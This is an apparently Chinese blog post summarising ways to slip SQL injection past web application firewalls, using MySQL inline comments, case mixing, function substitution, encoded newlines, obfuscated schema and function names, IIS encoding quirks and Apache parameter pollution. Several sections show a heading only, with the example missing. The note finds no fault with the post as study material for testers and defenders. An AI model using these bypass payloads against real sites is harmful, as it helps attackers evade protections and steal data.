sql注入绕waf小结

WAF是一个缩写,全称是web应用防护系统(Web Application Firewall)通过一系列的安全策略(核心机制是正则匹配)来对web应用提供保护。

WAF有硬件类和软件类,常见软件类waf:安全狗、云锁、悬镜、护卫神、云盾。  

1.大小写绕过

对于一些比较垃圾的waf可以尝试大小写混杂绕过。

union -> UnIoN

select -> SeLeCt 

 

 

 

2.内联注释

内联注释是mysql为了保持与其他数据兼容,讲mysql中的特有语句放在/*! xxxx*/中,

这些语句在不兼容的数据库中不执行,而在mysql中自身能识别、执行。

/*!50000*/表示数据库版本>=5.00.00的时候其中语句被执行  10000~50000,不同版本可执行的不同

 

 

 

也可抓包爆破得出/*! xxxxx*/

 

/**/数据库注释

可以在语句中混杂/*xxxx*/  其中可以是数字、字母、字符。

 

 

3.替换添加

在语句被过滤掉时,可以尝试替换成等价的函数或者添加字符绕过(比如内联)

当order 被过滤掉时可以替换为 group

 

 

group_concat

用concat替换,因为concat每次只能出一条数据所以需要配合limit 

 

 

 也可以在concat前加上 ` (反引号)

 

union select 

%0a为换行 %0d为回车

 

 

 

 

 

 使用垃圾数据绕过

 

 夹杂distinct

 

 利用all

 

 

from被过滤

可以使用科学计数法绕过

 

 

 

 

 

 使用 { }

 

 

 x可为字母或数字与字母组合

 

 

 

information_schema.tables

`information_schema.tables`  information_schema/**/.schemata

`information_schema`.tables  table_name == @b:=`table_name`

 

user()

user() =current_user = user/**/(/**/) = user-- (1)%0a()

 

version()

version() = `version`() = @@version= select name_const(version(),1),name_const(version(),1))x

 

database()

database()=(database/*!12345()*/)=convert(database/*!44444(*/),binary)

 

4.容器特性

IIS 传参 s%e%l%e%c%t -> select

apache hpp  ?id=1/*&id=2#*/ 

接收的其实为第二个传参id=2 第一个被忽略

 

 

 

 

 

 

posted @ 2021-06-11 17:00  一野咕咕  阅读(152)  评论(1编辑  收藏  举报